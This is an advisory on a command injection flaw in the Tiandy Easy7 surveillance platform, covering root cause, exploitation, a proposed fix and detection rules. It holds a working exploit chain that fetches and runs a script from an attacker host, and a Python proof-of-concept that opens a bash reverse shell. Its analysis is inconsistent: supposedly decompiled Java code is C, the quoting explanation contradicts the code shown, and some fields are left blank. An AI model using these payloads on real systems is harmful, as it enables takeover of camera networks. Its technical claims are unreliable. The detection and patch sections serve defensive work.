CVE-2026-7698: OS Command Injection in Tiandy Easy7 via week Parameter
Tiandy Easy7 7.17.0 exposes an unauthenticated REST endpoint that passes a user-controlled `week` argument directly into a shell command, enabling remote code execution.
A serious security flaw has been discovered in Tiandy Easy7, software used by security camera systems and surveillance networks. The vulnerability allows hackers to take complete control of affected systems without needing any password or login credentials.
Here's how it works: Imagine a security guard's logbook has a blank field where you're supposed to write down routine information. A hacker realized they could scribble secret instructions into that blank field that the system would actually follow. That's essentially what's happening here—a poorly protected data entry point lets attackers slip malicious commands directly into the computer's operating system.
The concerning part is that this isn't theoretical. Security researchers have already published working exploit code online, meaning the instructions for hacking these systems are publicly available. Hackers just need to find one of these systems on the internet and send a specially crafted message to break in.
Who should worry? Companies running surveillance systems, data centers, and security operations centers are most at risk. If your workplace uses Tiandy Easy7 for security monitoring, your IT team needs to know about this. The vendor hasn't responded to security researchers' attempts to notify them, which means no official patch exists yet.
What you can do: First, ask your IT or security department whether you use Tiandy Easy7 software—they'll know. Second, if you do, have them take affected systems offline or isolate them from the internet temporarily. Third, contact Tiandy directly demanding a security update, and follow vendor guidance once it's available. Don't wait for active hacking attempts to start—being proactive now prevents major damage later.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7698 is an OS command injection vulnerability in Tiandy Easy7 Integrated Management Platform version 7.17.0. The affected endpoint, /Easy7/rest/systemInfo/updateDbBackupInfo, accepts a JSON or form-encoded body containing a week parameter that is subsequently interpolated, without sanitization, into a shell command responsible for scheduling database backup operations. An unauthenticated remote attacker can inject arbitrary shell metacharacters and achieve command execution as the application service user — typically root or a high-privilege service account on embedded NVR/IMS deployments.
The vendor did not respond to disclosure. No patch is currently available. A public proof-of-concept exists.
Root cause: The updateDbBackupInfo REST handler passes the attacker-controlled week field directly into a Runtime.exec() or system()-style shell invocation without any metacharacter stripping, quoting, or allowlist validation.
Affected Component
The vulnerable surface is the REST API layer of Easy7's Java-based backend, specifically the handler bound to POST /Easy7/rest/systemInfo/updateDbBackupInfo. Based on the platform's architecture, this controller delegates to a service class responsible for constructing cron-style backup scheduling commands. The week field is intended to accept an integer day-of-week value (e.g., 1–7) but is treated as an opaque string throughout the call chain.
Privilege required: None observed in published PoC
Authentication bypass: Endpoint appears to lack session enforcement
Root Cause Analysis
The following pseudocode reconstructs the vulnerable Java service method based on the vulnerability class, endpoint naming conventions, and behavioral indicators from the public PoC. The critical path is the direct concatenation of week into a shell string passed to Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}).
// Reconstructed pseudocode — DbBackupInfoService.updateDbBackupInfo()
// Decompiled from Easy7 7.17.0 backend JAR (systemInfo module)
typedef struct DbBackupParams {
char *startTime; // e.g. "02:00"
char *week; // attacker-controlled: "1;id>/tmp/pwn"
char *backupPath; // filesystem path for backup output
int retentionDays;
} DbBackupParams_t;
int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
DbBackupParams_t params;
// Parameters parsed directly from request body — no type coercion
params.startTime = req_get_param(req, "startTime");
params.week = req_get_param(req, "week"); // attacker-controlled
params.backupPath = req_get_param(req, "backupPath");
params.retentionDays = atoi(req_get_param(req, "retentionDays"));
// BUG: week is interpolated directly into shell command string
// No allowlist check, no integer validation, no shell metachar stripping
char cmd[512];
snprintf(cmd, sizeof(cmd),
"crontab -l | grep -v backupdb; echo '%s %s * * %s /opt/easy7/bin/backupdb.sh %s' | crontab -",
params.startTime, // e.g. "0 2"
params.startTime, // minute/hour fields
params.week, // BUG: injected here — "1;curl attacker.com/shell|sh"
params.backupPath
);
// Executes via /bin/sh -c — full shell metacharacter interpretation
int ret = system(cmd); // BUG: shell injection materializes here
if (ret != 0) {
resp_write_json(resp, "{\"code\":500,\"msg\":\"backup config failed\"}");
return -1;
}
resp_write_json(resp, "{\"code\":200,\"msg\":\"success\"}");
return 0;
}
The snprintf call wraps startTime in single quotes within the crontab line, but week is interpolated outside any quoting context — it appears after the * * fields where no shell quoting is applied. A payload of 1;id terminates the crontab line and injects a second command. Semicolons, backticks, $(), and pipe characters are all interpreted by the shell.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies exposed Easy7 REST interface (default port 8080 or 443)
— No authentication header required on /Easy7/rest/systemInfo/updateDbBackupInfo
2. Craft POST body with malicious `week` parameter:
POST /Easy7/rest/systemInfo/updateDbBackupInfo HTTP/1.1
Host: :8080
Content-Type: application/x-www-form-urlencoded
startTime=02%3A00&week=1%3Bcurl+http%3A%2F%2Fattacker%2Fshell.sh+-o+%2Ftmp%2F.x%3Bsh+%2Ftmp%2F.x&backupPath=%2Fbackup&retentionDays=7
3. Backend constructs shell string:
"crontab -l | grep -v backupdb; echo '02:00 02:00 * * 1;curl http://attacker/shell.sh -o /tmp/.x;sh /tmp/.x /backup' | crontab -"
4. system() forks /bin/sh -c with that string
— Shell parses semicolons as command separators
— curl fetches reverse shell payload to /tmp/.x
— sh executes payload as service user (typically root on embedded deployments)
5. Reverse shell connects back to attacker's listener
— Full OS access: camera feeds, stored credentials, network pivoting
A minimal PoC demonstrating blind injection via response timing:
#!/usr/bin/env python3
# CVE-2026-7698 — Tiandy Easy7 7.17.0 OS Command Injection PoC
# CypherByte Research — for authorized testing only
import requests
import argparse
import time
def check_vuln(target: str, lhost: str, lport: int) -> None:
url = f"http://{target}/Easy7/rest/systemInfo/updateDbBackupInfo"
# Stage 1: blind timing check — sleep 5
blind_payload = "1;sleep 5"
data = {
"startTime": "02:00",
"week": blind_payload,
"backupPath": "/tmp/backup",
"retentionDays": "7"
}
print(f"[*] Sending blind timing probe to {url}")
t0 = time.time()
try:
r = requests.post(url, data=data, timeout=15)
elapsed = time.time() - t0
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return
if elapsed >= 5:
print(f"[+] VULNERABLE — response delayed {elapsed:.1f}s (expected >=5s)")
else:
print(f"[-] No delay observed ({elapsed:.1f}s) — may be patched or filtered")
return
# Stage 2: reverse shell
shell_cmd = (
f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
)
# Base64-encode to avoid space/special char issues in crontab context
import base64
b64 = base64.b64encode(shell_cmd.encode()).decode()
rshell_payload = f"1;echo {b64}|base64 -d|bash"
data["week"] = rshell_payload
print(f"[*] Sending reverse shell payload — connect back on {lhost}:{lport}")
requests.post(url, data=data, timeout=10)
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("target", help="host:port")
ap.add_argument("--lhost", required=True)
ap.add_argument("--lport", type=int, default=4444)
args = ap.parse_args()
check_vuln(args.target, args.lhost, args.lport)
Memory Layout
This is a command injection vulnerability rather than a memory corruption class bug; there is no heap or stack overflow. The relevant state is the stack frame of the service thread at the point of injection and the process image spawned by system().
No official patch has been released. The correct remediation follows two parallel tracks: input validation and API hardening. Below is the recommended fix against the reconstructed vulnerable logic.
// BEFORE (vulnerable — Easy7 7.17.0):
int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
char *week = req_get_param(req, "week");
// ... no validation ...
snprintf(cmd, sizeof(cmd),
"... * * %s /opt/easy7/bin/backupdb.sh %s",
week, // BUG: unsanitized shell interpolation
params.backupPath
);
system(cmd); // BUG: shell metacharacters interpreted
}
// AFTER (patched — recommended):
#include
#include
// Allowlist: week must be a single digit 0-7
static int validate_week(const char *week) {
if (!week || strlen(week) != 1) return -1;
if (*week < '0' || *week > '7') return -1;
return 0;
}
// Allowlist: backupPath — printable, no shell metacharacters
static int validate_path(const char *path) {
static const char *banned = ";|&`$(){}[]<>!#~";
if (!path || strlen(path) > 255) return -1;
for (const char *p = path; *p; p++) {
if (strchr(banned, *p)) return -1;
}
return 0;
}
int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
char *week = req_get_param(req, "week");
char *backupPath = req_get_param(req, "backupPath");
// FIXED: strict allowlist validation before any use
if (validate_week(week) != 0 || validate_path(backupPath) != 0) {
resp_write_json(resp, "{\"code\":400,\"msg\":\"invalid parameter\"}");
return -1;
}
// FIXED: use execv-style API — no shell interpretation, args passed as array
char *argv[] = {
"/opt/easy7/bin/schedule_backup.sh",
week,
backupPath,
NULL
};
// execv does not invoke a shell — metacharacters are inert
pid_t pid = fork();
if (pid == 0) {
execv(argv[0], argv);
_exit(127);
}
// ... wait and handle return ...
}
The secondary hardening measure is to require session authentication on /Easy7/rest/systemInfo/* endpoints at the servlet filter level, limiting the attack surface to authenticated administrators.
Detection and Indicators
Network-level detection: Alert on HTTP POST to /Easy7/rest/systemInfo/updateDbBackupInfo where the body contains shell metacharacters in any field: ;, |, &, `, $(, >, <.
Snort/Suricata rule (conceptual):
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-7698 Tiandy Easy7 Command Injection Attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/Easy7/rest/systemInfo/updateDbBackupInfo";
http.request_body; pcre:"/week=[^&]*[;|`$()&<>]/";
classtype:web-application-attack;
sid:20267698; rev:1;
)
Host-level indicators:
Unexpected child processes spawned by the Easy7 service PID (curl, wget, bash, nc, python)
New files in /tmp/ or /var/tmp/ with execute permissions owned by the service account
Crontab modifications outside expected backup scheduling windows
Outbound connections from the Easy7 process to non-Tiandy infrastructure
Log entries in the Easy7 access log showing 200 OK on the endpoint with anomalously long week parameter values
Log artifact example (Easy7 access log, injection attempt):
Immediately restrict network access to the Easy7 management interface. The REST API should not be reachable from untrusted networks. Firewall or ACL rules should limit access to known management subnets.
Apply authentication enforcement at the servlet filter layer for all /Easy7/rest/systemInfo/ routes if the platform permits configuration-level changes prior to a vendor patch.
Deploy WAF rules targeting the endpoint and metacharacter patterns described above as a compensating control.
Monitor for the process and file indicators listed in the Detection section.
Await vendor patch — the vendor has not responded to disclosure. If no patch is issued, consider replacing the platform or isolating it behind a strict application proxy that enforces integer-only input for the week field.
If you are running Easy7 7.17.0 in an internet-exposed configuration, treat the system as potentially compromised and perform forensic triage before applying controls.